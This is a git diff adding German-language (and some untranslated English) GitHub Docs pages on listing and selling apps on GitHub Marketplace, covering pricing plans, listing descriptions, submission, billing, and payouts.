+Um einen kostenpflichtigen Tarif für deine App anzubieten, muss sie sich im Besitz einer Organisation befinden, die den Prozess zur Herausgeberüberprüfung durchlaufen hat und bestimmte Kriterien erfüllt. Weitere Informationen findest du unter [Beantragen der Herausgeberüberprüfung für deine Organisation](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization) und [Anforderungen für das Eintragen einer App im {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/).
+
+Wenn deine App bereits mit einem kostenpflichtigen Tarif veröffentlicht wurde und du ein überprüfter Herausgeber bist, kannst du auf der Seite „Einen Tarif bearbeiten“ in den App-Eintragseinstellungen für den Marketplace einen neuen kostenpflichtigen Tarif veröffentlichen. 
+
+![Schaltfläche zum Veröffentlichen dieses Tarifs](/assets/images/marketplace/publish-this-plan-button.png)
+
+Wenn deine App bereits mit einem kostenpflichtigen Tarif veröffentlicht wurde, du jedoch noch kein überprüfter Herausgeber bist, kannst du keinen neuen kostenpflichtigen Tarif veröffentlichen, bis du überprüft wurdest. Weitere Informationen darüber, wie du ein überprüfter Herausgeber wirst, findest du unter [Beantragen der Herausgeberüberprüfung für deine Organisation](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization).
+
+## Informationen zum Speichern von Tarifen
+
+Du kannst Tarifentwürfe und veröffentlichte Tarife speichern. Wenn du deine {% data variables.product.prodname_marketplace %}-Listing nicht zur Genehmigung eingereicht hast, wird ein veröffentlichter Tarif genauso wie ein Tarifentwurf behandelt, bis die Listing genehmigt und im {% data variables.product.prodname_marketplace %} angezeigt wird. Mit Tarifentwürfen kannst du neue Tarife erstellen und speichern, ohne sie auf deiner Listingseite im {% data variables.product.prodname_marketplace %} zu veröffentlichen. Sobald du einen Tarif in einer veröffentlichten Listing veröffentlicht hast, können Kunden diesen sofort erwerben. Du kannst bis zu zehn Tarife veröffentlichen.
+
+Anleitungen zur Rechnungsstellung an Kunden findest du unter [Rechnungsstellung an Kunden](/developers/github-marketplace/billing-customers).
+
+## Erstellen von Tarifen
+
+Klicke in der linken Seitenleiste auf deiner [{% data variables.product.prodname_marketplace %}-Listingseite](https://github.com/marketplace/manage) auf **Pläne und Preise**, um einen Tarif für deine {% data variables.product.prodname_marketplace %}-Listing zu erstellen. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.prodname_marketplace %}-Listingentwurfs](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/).
+
+Wenn du auf **Neuer Tarifentwurf** klickst, wird ein Formular angezeigt, anhand dessen du deinen Tarif anpassen kannst. Du musst die folgenden Felder konfigurieren, um einen Tarif zu erstellen:
+
+- **Tarifname**: Der Name des Tarifs wird auf der Angebotsseite der App im {% data variables.product.prodname_marketplace %} angezeigt. Du kannst den Namen deines Tarifs an den Ressourcen des Tarifs, der Größe des Unternehmens, für das der Tarif gedacht ist, oder an allem anderen ausrichten, was du möchtest.
+
+- **Preismodelle**: Es gibt drei Arten von Tarifen: Kostenlose, pauschale und einheitsbasierte Tarife. Bei allen Tarife müssen neue Kauf- und Stornierungsereignisse über die Marketplace-API verarbeitet werden. Für kostenpflichtige Tarife gilt außerdem Folgendes:
+
+  - Du musst sowohl für monatliche als auch für jährliche Abonnements einen Preis in US-Dollar festlegen.
+  - Deine App muss Änderungen am Tarif verarbeiten.
+  - Du musst die Überprüfung beantragen, um eine Listing mit einem kostenpflichtigem Tarif zu veröffentlichen.
+  - {% data reusables.marketplace.marketplace-pricing-free-trials %}
+
+  Weitere Informationen findest du unter [Tarife für {% data variables.product.prodname_marketplace %}-Apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps) und [Verwenden der {% data variables.product.prodname_marketplace %}-API in deiner App](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app).
+
+- **Verfügbar für**: {% data variables.product.prodname_marketplace %}-Tarife können von **persönlichen Konten und Organisationskonten**, **nur von persönlichen Konten** oder **nur von Organisationskonten** genutzt werden. Wenn dein Tarif beispielsweise pro Einheit abgerechnet wird und mehrere Arbeitsplätze bietet, würdest du **Nur Organisationskonten** auswählen, da keine Möglichkeit besteht, Personen in einer Organisation über ein persönliches Konto Arbeitsplätze zuzuweisen.
+
+- **Kurzbeschreibung**: Schreibe eine kurze Zusammenfassung der Daten zum Tarif. In der Beschreibung kann die Art des Kunden, für den der Tarif vorgesehen ist, oder die im Tarif erhaltenen Ressourcen angegeben werden.
+
+- **Stichpunkte**: Du kannst bis zu vier Stichpunkte aufschreiben, in denen weitere Einzelheiten zu deinem Tarif aufgeführt sind. In diesen Stichpunkten können die Anwendungsfälle deiner App oder genauere Angaben zu den im Tarif enthaltenen Ressourcen oder Features aufgeführt werden.
+
+{% data reusables.marketplace.free-plan-note %}
+
+## Ändern eines Tarifs für eine {% data variables.product.prodname_marketplace %}-Listing
+
+Du kannst einen Tarif für deine {% data variables.product.prodname_marketplace %}-Listing entfernen, wenn er nicht mehr benötigt wird oder du die Preisdetails anpassen musst.
+
+![Schaltfläche zum Entfernen des Tarifs](/assets/images/marketplace/marketplace_remove_this_plan.png)
+
+Sobald du einen Tarif für eine App veröffentlichst, die bereits im {% data variables.product.prodname_marketplace %} verfügbar ist, kannst du den Tarif nicht mehr ändern. Stattdessen musst du den Tarif entfernen und einen neuen erstellen. Kunden, die den entfernten Tarif bereits erworben haben, können ihn weiter verwenden, bis sie ihn kündigen und zu einem neuen Tarif wechseln. Weitere Informationen zu Tarifen findest du unter [{% data variables.product.prodname_marketplace %}-Tarife](/marketplace/selling-your-app/github-marketplace-pricing-plans/).
+
+Sobald du einen Tarif entfernst, können Benutzer*innen deine App nicht mehr über diesen Tarif erwerben. Für die bereits vorhandenen Benutzer*innen des entfernten Tarifs bleibt dieser Tarif bestehen, bis sie ihr Abonnement kündigen.
+
+{% note %}
+
+**Hinweis:** {% data variables.product.product_name %} kann Benutzer nicht aus einem entfernten Tarif entfernen. Du kannst eine Kampagne durchführen, um Benutzer*innen dazu zu bewegen, vom entfernten Tarif ein Upgrade oder Downgrade auf einen neuen Tarif vorzunehmen.
+
+{% endnote %}
+
+Du kannst kostenlose Testversionen von GitHub Marketplace deaktivieren, ohne den Tarif zu entfernen. Dadurch kannst du jedoch in Zukunft keine kostenlosen Testversionen dieses Tarifs veröffentlichen. Wenn du die kostenlosen Testversionen eines Tarifs deaktivierst, können bereits registrierte Benutzer*innen die kostenlose Testphase abschließen.
+
+Nach dem Entfernen eines Tarifs kannst du einen neuen Tarif mit demselben Namen wie der entfernte Tarif erstellen. Wenn du beispielsweise einen „Pro“-Tarif anbietest, aber den Pauschalpreis ändern musst, kannst du den „Pro“-Tarif entfernen und einen neuen „Pro“-Tarif erstellen, bei dem der Preis aktualisiert wurde. Benutzer*innen können den neuen Tarif sofort erwerben.
+
+Wenn du kein überprüfter Herausgeber bist, kannst du den Tarif für deine App nicht ändern. Weitere Informationen darüber, wie du ein überprüfter Herausgeber wirst, findest du unter [Beantragen der Herausgeberüberprüfung für deine Organisation](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization).
diff --git a/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md
new file mode 100644
index 0000000000..e69c0802dd
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md
@@ -0,0 +1,31 @@
+---
+title: Übermitteln deines Angebots zur Veröffentlichung
+intro: 'Um das Einreichen deines App-Angebots abzuschließen, kannst du ein Review durch eine*n Onboardingexpert*in beantragen.'
+redirect_from:
+  - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review
+  - /developers/github-marketplace/submitting-your-listing-for-review
+  - /developers/github-marketplace/submitting-your-listing-for-publication
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Submit your listing
+ms.openlocfilehash: 9e70fea2fceb0fb2b1bfae316f5842f3e88c4333
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089659'
+---
+Sobald dein App-Angebot die Anforderungen für {% data variables.product.prodname_marketplace %} erfüllt, kannst du deine App übermitteln. Eine Übersicht über die Anforderungen für ein App-Angebot findest du unter [Voraussetzungen für die Veröffentlichung einer App](/developers/github-marketplace/requirements-for-listing-an-app).
+
+1. Klicke oben links auf der App-Angebotsseite auf **Overview** (Übersicht). Informationen zum Suchen deiner App-Angebotsseite findest du unter [Entwerfen eines Angebots für deine App](/developers/github-marketplace/drafting-a-listing-for-your-app).
+  
+  ![Übersichtsoption für den Marketplace-Angebotsentwurf](/assets/images/marketplace/edit-marketplace-listing-overview.png)
+
+2. Zum Übermitteln deines fertigen App-Angebots klicke auf **Request publish** (Veröffentlichen anfordern).
+
+  ![Prüfliste „Publish your app to Marketplace“ (Deine App im Marketplace veröffentlichen) mit der Schaltfläche zur Übermittlung am unteren Rand](/assets/images/marketplace/publish-your-app-checklist-and-submission.png)
+
+Ein Onboarding-Experte wird sich mit zusätzlichen Informationen an Dich wenden.
diff --git a/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
new file mode 100644
index 0000000000..0725eb52ca
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
@@ -0,0 +1,196 @@
+---
+title: Writing a listing description for your app
+intro: 'To [list your app](/marketplace/listing-on-github-marketplace/) in the {% data variables.product.prodname_marketplace %}, you''ll need to write descriptions of your app and provide images that follow GitHub''s guidelines.'
+redirect_from:
+  - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-writing-github-app-descriptions
+  - /apps/marketplace/creating-and-submitting-your-app-for-approval/writing-github-app-descriptions
+  - /apps/adding-integrations/listing-apps-on-github-marketplace/guidelines-for-creating-a-github-marketplace-listing
+  - /apps/marketplace/listing-apps-on-github/guidelines-for-creating-a-github-marketplace-listing
+  - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-creating-github-marketplace-listing-images
+  - /apps/marketplace/creating-and-submitting-your-app-for-approval/creating-github-marketplace-listing-images
+  - /apps/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions
+  - /marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions
+  - /developers/github-marketplace/writing-a-listing-description-for-your-app
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Write listing descriptions
+---
+Here are guidelines about the fields you'll need to fill out in the **Listing description** section of your draft listing.
+
+## Naming and links
+
+### Listing name
+
+Your listing's name will appear on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). The name is limited to 255 characters and can be different from your app's name. Your listing cannot have the same name as an existing account on {% data variables.location.product_location %}, unless the name is your own user or organization name. 
+
+### Very short description
+
+The community will see the "very short" description under your app's name on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace).
+
+![{% data variables.product.prodname_marketplace %} app short description](/assets/images/marketplace/marketplace_short_description.png)
+
+#### Length
+
+We recommend keeping short descriptions to 40-80 characters. Although you are allowed to use more characters, concise descriptions are easier for customers to read and understand quickly.
+
+#### Content
+
+- Describe the app’s functionality. Don't use this space for a call to action. For example:
+
+  **DO:** Lightweight project management for GitHub issues
+
+  **DON'T:** Manage your projects and issues on GitHub
+
+  **Tip:** Add an "s" to the end of the verb in a call to action to turn it into an acceptable description: _Manages your projects and issues on GitHub_
+
+- Don’t repeat the app’s name in the description.
+
+  **DO:** A container-native continuous integration tool
+
+  **DON'T:** Skycap is a container-native continuous integration tool
+
+#### Formatting
+
+- Always use sentence-case capitalization. Only capitalize the first letter and proper nouns.
+
+- Don't use punctuation at the end of your short description. Short descriptions should not include complete sentences, and definitely should not include more than one sentence.
+
+- Only capitalize proper nouns. For example:
+
+  **DO:** One-click delivery automation for web developers
+
+  **DON'T:** One-click delivery automation for Web Developers
+
+- Always use a [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+
+- Avoid referring to the GitHub community as "users."
+
+  **DO:** Create issues automatically for people in your organization
+
+  **DON'T:** Create issues automatically for an organization's users
+
+- Avoid acronyms unless they’re well established (such as API). For example:
+
+  **DO:** Agile task boards, estimates, and reports without leaving GitHub
+
+  **DON'T:** Agile task boards, estimates, and reports without leaving GitHub’s UI
+
+### Categories
+
+Apps in {% data variables.product.prodname_marketplace %} can be displayed by category. Select the category that best describes the main functionality of your app in the **Primary category** dropdown, and optionally select a **Secondary category** that fits your app.
+
+### Supported languages
+
+If your app only works with specific languages, select up to 10 programming languages that your app supports. These languages are displayed on your app's {% data variables.product.prodname_marketplace %} listing page. This field is optional.
+
+### Listing URLs
+
+**Required URLs**
+* **Customer support URL:** The URL of a web page that your customers will go to when they have technical support, product, or account inquiries.
+* **Privacy policy URL:** The web page that displays your app's privacy policy.
+* **Installation URL:** This field is shown for OAuth Apps only. (GitHub Apps don't use this URL because they use the optional Setup URL from the GitHub App's settings page instead.) When a customer purchases your OAuth App, GitHub will redirect customers to the installation URL after they install the app. You will need to redirect customers to `https://github.com/login/oauth/authorize` to begin the OAuth authorization flow. See "[New purchases for OAuth Apps](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for more details. Skip this field if you're listing a GitHub App.
+
+**Optional URLs**
+* **Company URL:** A link to your company's website.
+* **Status URL:** A link to a web page that displays the status of your app. Status pages can include current and historical incident reports, web application uptime status, and scheduled maintenance.
+* **Documentation URL:** A link to documentation that teaches customers how to use your app.
+
+## Logo and feature card
+
+{% data variables.product.prodname_marketplace %} displays all listings with a square logo image inside a circular badge to visually distinguish apps.
+
+![GitHub Marketplace logo and badge images](/assets/images/marketplace/marketplace-logo-and-badge.png)
+
+A feature card consists of your app's logo, name, and a custom background image that captures your brand personality. {% data variables.product.prodname_marketplace %} displays this card if your app is one of the four randomly featured apps at the top of the [homepage](https://github.com/marketplace). Each app's very short description is displayed below its feature card.
+
+![Feature card](/assets/images/marketplace/marketplace_feature_card.png)
+
+As you upload images and select colors, your {% data variables.product.prodname_marketplace %} draft listing will display a preview of your logo and feature card.
+
+#### Guidelines for logos
+
+You must upload a custom image for the logo. For the badge, choose a background color.
+
+- Upload a logo image that is at least 200 pixels x 200 pixels so your logo won't have to be upscaled when your listing is published.
+- Logos will be cropped to a square. We recommend uploading a square image file with your logo in the center.
+- For best results, upload a logo image with a transparent background.
+- To give the appearance of a seamless badge, choose a badge background color that matches the background color (or transparency) of your logo image.
+- Avoid using logo images with words or text in them. Logos with text do not scale well on small screens.
+
+#### Guidelines for feature cards
+
+You must upload a custom background image for the feature card. For the app's name, choose a text color.
+
+- Use a pattern or texture in your background image to give your card a visual identity and help it stand out against the dark background of the {% data variables.product.prodname_marketplace %} homepage. Feature cards should capture your app's brand personality.
+- Background image measures 965 pixels x 482 pixels (width x height).
+- Choose a text color for your app's name that shows up clearly over the background image.
+
+## Listing details
+
+To get to your app's landing page, click your app's name from the {% data variables.product.prodname_marketplace %} homepage or category page. The landing page displays a longer description of the app, which includes two parts: an "Introductory description" and a "Detailed description."
+
+Your "Introductory description" is displayed at the top of your app's {% data variables.product.prodname_marketplace %} landing page.
+
+![{% data variables.product.prodname_marketplace %} introductory description](/assets/images/marketplace/marketplace_intro_description.png)
+
+Clicking **Read more...**, displays the "Detailed description."
+
+![{% data variables.product.prodname_marketplace %} detailed description](/assets/images/marketplace/marketplace_detailed_description.png)
+
+Follow these guidelines for writing these descriptions.
+
+### Length
+
+We recommend writing a 1-2 sentence high-level summary between 150-250 characters in the required "Introductory description" field when [listing your app](/marketplace/listing-on-github-marketplace/). Although you are allowed to use more characters, concise summaries are easier for customers to read and understand quickly.
+
+You can add more information in the optional "Detailed description" field. You see this description when you click **Read more...** below the introductory description on your app's landing page. A detailed description consists of 3-5 [value propositions](https://en.wikipedia.org/wiki/Value_proposition), with 1-2 sentences describing each one. You can use up to 1,000 characters for this description.
+
+### Content
+
+- Always begin introductory descriptions with your app's name.
+
+- Always write descriptions and value propositions using the active voice.
+
+### Formatting
+
+- Always use sentence-case capitalization in value proposition titles. Only capitalize the first letter and proper nouns.
+
+- Use periods in your descriptions. Avoid exclamation marks.
+
+- Don't use punctuation at the end of your value proposition titles. Value proposition titles should not include complete sentences, and should not include more than one sentence.
+
+- For each value proposition, include a title followed by a paragraph of description. Format the title as a [level-three header](/articles/basic-writing-and-formatting-syntax/#headings) using Markdown. For example:
+
+  ### Learn the skills you need
+
+  GitHub Skills can help you learn how to use GitHub, communicate more effectively with Markdown, handle merge conflicts, and more.
+
+- Only capitalize proper nouns.
+
+- Always use the [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+
+- Avoid referring to the GitHub community as "users."
+
+  **DO:** Create issues automatically for people in your organization
+
+  **DON'T:** Create issues automatically for an organization's users
+
+- Avoid acronyms unless they’re well established (such as API).
+
+## Product screenshots
+
+You can upload up to five screenshot images of your app to display on your app's landing page. Add an optional caption to each screenshot to provide context. After you upload your screenshots, you can drag them into the order you want them to be displayed on the landing page.
+
+### Guidelines for screenshots
+
+- Images must be of high resolution (at least 1200px wide).
+- All images must be the same height and width (aspect ratio) to avoid page jumps when people click from one image to the next.
+- Show as much of the user interface as possible so people can see what your app does.
+- When taking screenshots of your app in a browser, only include the content in the display window. Avoid including the address bar, title bar, or toolbar icons, which do not scale well to smaller screen sizes.
+- GitHub displays the screenshots you upload in a box on your app's landing page, so you don't need to add boxes or borders around your screenshots.
+- Captions are most effective when they are short and snappy.
+
+![GitHub Marketplace screenshot image](/assets/images/marketplace/marketplace-screenshots.png)
diff --git a/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md b/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
new file mode 100644
index 0000000000..aad5624347
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
@@ -0,0 +1,55 @@
+---
+title: Abrechnung mit Kunden
+intro: 'Apps auf {% data variables.product.prodname_marketplace %} müssen die Abrechnungsleitlinien von GitHub befolgen und empfohlene Dienste unterstützen. Die Befolgung unserer Leitlinien verhilft unseren Kunden zu einem Abrechnungsprozess ohne Überraschungen.'
+redirect_from:
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace
+  - /apps/marketplace/selling-your-app/billing-customers-in-github-marketplace
+  - /marketplace/selling-your-app/billing-customers-in-github-marketplace
+  - /developers/github-marketplace/billing-customers
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+ms.openlocfilehash: 86f012c4a74d010ddaed9ec495ae2f5d8a8dd9eb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089644'
+---
+## Grundlegendes zum Abrechnungszeitraum
+
+Kunden können einen monatlichen oder jährlichen Abrechnungszeitraum auswählen, wenn sie deine App kaufen. Alle Änderungen, die Kunden am Abrechnungszeitraum und an der Planauswahl vornehmen, lösen ein `marketplace_purchase`-Ereignis aus. Du kannst den `marketplace_purchase`-Webhooknutzdaten entnehmen, welchen Abrechnungszeitraum ein Kunde auswählt und wann das nächste Abrechnungsdatum beginnt (`effective_date`). Weitere Informationen zu Webhooknutzdaten findest du unter „[Webhook-Ereignisse für die {% data variables.product.prodname_marketplace %}-API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)“.
+
+## Bereitstellen von Abrechnungsdiensten in der Benutzeroberfläche deiner App
+
+Kunden sollten in der Lage sein, über die Website deiner App die folgenden Aktionen auszuführen:
+- Kunden sollten in der Lage sein, ihre {% data variables.product.prodname_marketplace %}-Pläne für persönliche und Organisationskonten separat zu ändern oder zu kündigen.
+{% data reusables.marketplace.marketplace-billing-ui-requirements %}
+
+## Abrechnungsdienste für Upgrades, Downgrades und Kündigungen
+
+Befolge die folgenden Richtlinien für Upgrades, Downgrades und Kündigungen, damit der Abrechnungsprozess klar und konsistent bleibt. Ausführlichere Anweisungen zu den {% data variables.product.prodname_marketplace %}-Kaufereignissen findest du unter „[Verwenden der {% data variables.product.prodname_marketplace %}-API in deiner App](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)“.
+
+Du kannst den `effective_date`-Schlüssel des `marketplace_purchase`-Webhooks verwenden, um festzustellen, wann eine Planänderung eintritt, und die [Auflistung von Konten für einen Plan](/rest/reference/apps#list-accounts-for-a-plan) regelmäßig synchronisieren.
+
+### Upgrades
+
+Wenn ein Kunde ein Upgrade für seinen Preisplan vornimmt oder seinen Abrechnungszeitraum von monatlich in jährlich ändert, solltest du die Änderung für ihn sofort wirksam machen. Du musst einen anteiligen Rabatt auf den neuen Plan anwenden und den Abrechnungszeitraum ändern.
+
+{% data reusables.marketplace.marketplace-failed-purchase-event %}
+
+Informationen zum Erstellen von Upgrade- und Downgradeworkflows in deiner App findest du unter „[Behandeln von Planänderungen](/developers/github-marketplace/handling-plan-changes)“.
+
+### Downgrades und Kündigungen
+
+Downgrades treten auf, wenn ein Kunde von einem kostenlosen Plan zu einem kostenpflichtigen Plan wechselt, einen Plan mit niedrigeren Kosten als bei seinem aktuellen Plan auswählt oder seinen Abrechnungszeitraum von jährlich in monatlich ändert. Bei Downgrades oder Kündigungen musst du keine Rückerstattung leisten. Stattdessen bleibt der aktuelle Plan bis zum letzten Tag des aktuellen Abrechnungszeitraums aktiv. Das `marketplace_purchase`-Ereignis wird gesendet, wenn der neue Plan am Anfang des nächsten Abrechnungszeitraums des Kunden wirksam wird.
+
+Wenn ein Kunde einen Plan kündigt, musst du:
+- Den Kunden automatisch auf den kostenlosen Plan herunterstufen (sofern vorhanden).
+  
+  {% data reusables.marketplace.cancellation-clarification %}
+- Dem Kunden die Möglichkeit eines Upgrades des Plans über GitHub einräumen, falls er ihn zu einem späteren Zeitpunkt fortsetzen möchte.
+
+Informationen zum Erstellen von Kündigungsworkflows in deiner App findest du unter „[Behandeln von Plankündigungen](/developers/github-marketplace/handling-plan-cancellations)“.
diff --git a/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md b/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
new file mode 100644
index 0000000000..acedd094cc
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
@@ -0,0 +1,28 @@
+---
+title: Verkaufen deiner App auf dem GitHub Marketplace
+intro: 'Hier werden die Voraussetzungen und Best Practices für den Vertrieb deiner App auf dem {% data variables.product.prodname_marketplace %} behandelt.'
+redirect_from:
+  - /apps/marketplace/administering-listing-plans-and-user-accounts
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing
+  - /apps/marketplace/pricing-payments-and-free-trials
+  - /apps/marketplace/selling-your-app
+  - /marketplace/selling-your-app
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+children:
+  - /pricing-plans-for-github-marketplace-apps
+  - /billing-customers
+  - /receiving-payment-for-app-purchases
+shortTitle: Sell apps on the Marketplace
+ms.openlocfilehash: f969db42c6da5ccb2cd6657c776332f54d57b561
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882319'
+---
+
diff --git a/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md b/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
new file mode 100644
index 0000000000..39aa90ed6b
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
@@ -0,0 +1,59 @@
+---
+title: Pricing plans for GitHub Marketplace apps
+intro: 'Pricing plans allow you to provide your app with different levels of service or resources. You can offer up to 10 pricing plans in your {% data variables.product.prodname_marketplace %} listing.'
+redirect_from:
+  - /apps/marketplace/selling-your-app/github-marketplace-pricing-plans
+  - /marketplace/selling-your-app/github-marketplace-pricing-plans
+  - /developers/github-marketplace/pricing-plans-for-github-marketplace-apps
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Pricing plans for apps
+---
+{% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to apps published by verified publishers. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+
+Customers purchase your app using a payment method attached to their account on {% data variables.location.product_location %}, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+
+If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed.
+
+For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+
+{% data reusables.marketplace.free-plan-note %}
+
+## Types of pricing plans
+
+### Free pricing plans
+
+{% data reusables.marketplace.free-apps-encouraged %}
+
+Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing.
+
+All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+
+If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding.
+
+### Paid pricing plans
+
+There are two types of paid pricing plan:
+
+- Flat rate pricing plans charge a set fee on a monthly and yearly basis.
+
+- Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person).
+
+You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans.
+
+## Free trials
+
+Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product.
+
+Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel.
+
+For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/handling-new-purchases-and-free-trials/)."
+
+{% note %}
+
+**Note:** GitHub expects you to delete any private customer data within 30 days of a cancelled trial, beginning at the receipt of the cancellation event.
+
+{% endnote %}
diff --git a/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md b/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
new file mode 100644
index 0000000000..669dc04755
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
@@ -0,0 +1,34 @@
+---
+title: Erhalten von Zahlungen für App-Käufe
+intro: 'Am Ende deines Monats geht die Bezahlung für dein {% data variables.product.prodname_marketplace %}-Angebot bei dir ein.'
+redirect_from:
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
+  - /apps/marketplace/pricing-payments-and-free-trials/receiving-payment-for-a-github-marketplace-listing
+  - /apps/marketplace/selling-your-app/receiving-payment-for-github-marketplace-listings
+  - /marketplace/selling-your-app/receiving-payment-for-github-marketplace-listings
+  - /developers/github-marketplace/receiving-payment-for-app-purchases
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Receive payment
+ms.openlocfilehash: 324ef8bceaa92c55f102603885799dde7e892795
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145089628'
+---
+Nachdem dein {% data variables.product.prodname_marketplace %}-Angebot für eine App mit einem kostenpflichtigen Plan erstellt und genehmigt wurde, gibst du im Rahmen des finanziellen Onboarding-Prozesses die Zahlungsdetails für {% data variables.product.product_name %} an.
+
+Sobald dein Umsatz einen Mindestbetrag von 500 US-Dollar für den Monat erreicht hat, erhältst du eine elektronische Zahlung von {% data variables.product.company_short %}. Dies sind die Einnahmen aus Marketplace-Transaktionen abzüglich des Betrags, der von {% data variables.product.company_short %} zur Deckung der laufenden Kosten erhoben wird.
+
